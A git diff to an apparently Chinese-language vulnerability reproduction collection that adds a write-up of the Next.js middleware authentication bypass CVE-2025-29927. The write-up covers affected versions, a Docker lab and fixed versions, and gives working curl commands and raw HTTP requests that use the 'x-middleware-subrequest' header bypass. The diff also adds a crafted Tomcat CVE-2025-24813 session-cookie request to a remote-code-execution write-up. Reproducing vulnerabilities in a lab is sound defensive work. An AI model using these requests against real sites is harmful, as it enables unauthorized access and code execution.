diff --git a/README.md b/README.md index 41be13c..6fe07d3 100644 --- a/README.md +++ b/README.md @@ -665,6 +665,7 @@ * Jetty 通用 Servlets 组件 ConcatServlet 信息泄露漏洞 CVE-2021-28169 * Jmeter RMI 反序列化命令执行漏洞 CVE-2018-1297 * muhttpd 任意文件读取漏洞 CVE-2022-31793 + * Next.js 中间件鉴权绕过漏洞 CVE-2025-29927 * Nginx 文件名逻辑漏洞 CVE-2013-4547 * Nginx 解析漏洞 * Nginx 配置错误漏洞 diff --git a/中间件漏洞/Next.js 中间件鉴权绕过漏洞 CVE-2025-29927.md b/中间件漏洞/Next.js 中间件鉴权绕过漏洞 CVE-2025-29927.md new file mode 100644 index 0000000..57fb2b3 --- /dev/null +++ b/中间件漏洞/Next.js 中间件鉴权绕过漏洞 CVE-2025-29927.md @@ -0,0 +1,92 @@ +# Next.js 中间件鉴权绕过漏洞 CVE-2025-29927 + +## 漏洞描述 + +Next.js 是一个基于 React 的流行 Web 应用框架,提供服务器端渲染、静态网站生成和集成路由系统等功能。当使用中间件进行身份验证和授权时,Next.js 14.2.25 和 15.2.3 之前的版本存在授权绕过漏洞。 + +该漏洞允许攻击者通过操作 `x-middleware-subrequest` 请求头来绕过基于中间件的安全控制,从而可能获得对受保护资源和敏感数据的未授权访问。 + +参考链接: + +- https://github.com/advisories/GHSA-f82v-jwr5-mffw +- https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware +- https://nvd.nist.gov/vuln/detail/CVE-2025-29927 +- https://nextjs.org/blog/cve-2025-29927 +- https://github.com/aydinnyunus/CVE-2025-29927 + +## 漏洞影响 + +``` +Next.js 15.x < 15.2.3 +Next.js 14.x < 14.2.25 +Next.js 13.x < 13.5.9 +``` + +## 环境搭建 + +Vulhub 执行以下命令启动一个基于 Next.js 15.2.2 的存在漏洞的应用: + +``` +docker compose up -d +``` + +应用启动后,访问 `http://your-ip:3000` 会被重定向到登录页面。输入默认凭据 `admin:password`,你可以登录成功并访问仪表盘。 + +![](images/Next.js%20中间件鉴权绕过漏洞%20CVE-2025-29927/image-20250324115148620.png) + +## 漏洞复现 + +如果在没有合法凭据的情况下直接访问仪表盘,将会被重定向到登录页面: + +``` +curl -i http://your-ip:3000 +``` + +``` +GET / HTTP/1.1 +Host: your-ip:3000 +Cookie: +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 +Accept: */* +Accept-Encoding: gzip, deflate +``` + +![](images/Next.js%20中间件鉴权绕过漏洞%20CVE-2025-29927/image-20250324115331074.png) + +要利用此漏洞,可以在请求中添加 `x-middleware-subrequest` 请求头,其值为 `middleware:middleware:middleware:middleware:middleware`。Next.js 中间件会错误地处理此请求头并绕过身份验证检查: + +``` +curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://your-ip:3000 +``` + +``` +GET / HTTP/1.1 +Host: your-ip:3000 +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 +Accept: */* +Accept-Encoding: gzip, deflate +x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware +``` + +![](images/Next.js%20中间件鉴权绕过漏洞%20CVE-2025-29927/image-20250324115502959.png) + +可见,没有传入任何身份认证信息即可成功访问到仪表盘。 + + 如果上述 payload 不起作用,可以尝试: + +```shell +x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware +``` + +## 漏洞修复 + +已修复版本: + +- 对于 Next.js 15.x 版本,此问题已在 `15.2.3` 中修复 +- 对于 Next.js 14.x 版本,此问题已在 `14.2.25` 中修复 +- 对于 Next.js 13.x 版本,此问题已在 `13.5.9` 中修复 +- 对于 Next.js 12.x,此问题已在 `12.3.5` 中修复 + +如果修补到安全版本不可行,建议阻止包含 `x-middleware-subrequest` 头的外部用户请求。 diff --git a/中间件漏洞/Tomcat 远程代码执行漏洞 CVE-2025-24813.md b/中间件漏洞/Tomcat 远程代码执行漏洞 CVE-2025-24813.md index ab8923b..9f17a5b 100644 --- a/中间件漏洞/Tomcat 远程代码执行漏洞 CVE-2025-24813.md +++ b/中间件漏洞/Tomcat 远程代码执行漏洞 CVE-2025-24813.md @@ -182,6 +182,16 @@ YOUR-PAYLOAD-HERE ![](images/Tomcat%20远程代码执行漏洞%20CVE-2025-24813/image-20250317141613972.png) +``` +GET / HTTP/1.1 +Host: your-ip:8080 +Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 +Accept: */* +User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36 +Accept-Encoding: gzip, deflate +Cookie: JSESSIONID=.poc +``` + ![](images/Tomcat%20远程代码执行漏洞%20CVE-2025-24813/image-20250317141703769.png) CommonsCollectionsK1 gadget 被成功序列化,执行了 `touch /tmp/awesome_poc` 命令: diff --git a/中间件漏洞/images/Next.js 中间件鉴权绕过漏洞 CVE-2025-29927/image-20250324115148620.png b/中间件漏洞/images/Next.js 中间件鉴权绕过漏洞 CVE-2025-29927/image-20250324115148620.png new file mode 100644 index 0000000..6b38db8 Binary files /dev/null and b/中间件漏洞/images/Next.js 中间件鉴权绕过漏洞 CVE-2025-29927/image-20250324115148620.png differ diff --git a/中间件漏洞/images/Next.js 中间件鉴权绕过漏洞 CVE-2025-29927/image-20250324115309066.png b/中间件漏洞/images/Next.js 中间件鉴权绕过漏洞 CVE-2025-29927/image-20250324115309066.png new file mode 100644 index 0000000..f9a8178 Binary files /dev/null and b/中间件漏洞/images/Next.js 中间件鉴权绕过漏洞 CVE-2025-29927/image-20250324115309066.png differ diff --git a/中间件漏洞/images/Next.js 中间件鉴权绕过漏洞 CVE-2025-29927/image-20250324115331074.png b/中间件漏洞/images/Next.js 中间件鉴权绕过漏洞 CVE-2025-29927/image-20250324115331074.png new file mode 100644 index 0000000..0d63a1d Binary files /dev/null and b/中间件漏洞/images/Next.js 中间件鉴权绕过漏洞 CVE-2025-29927/image-20250324115331074.png differ diff --git a/中间件漏洞/images/Next.js 中间件鉴权绕过漏洞 CVE-2025-29927/image-20250324115502959.png b/中间件漏洞/images/Next.js 中间件鉴权绕过漏洞 CVE-2025-29927/image-20250324115502959.png new file mode 100644 index 0000000..52ed475 Binary files /dev/null and b/中间件漏洞/images/Next.js 中间件鉴权绕过漏洞 CVE-2025-29927/image-20250324115502959.png differ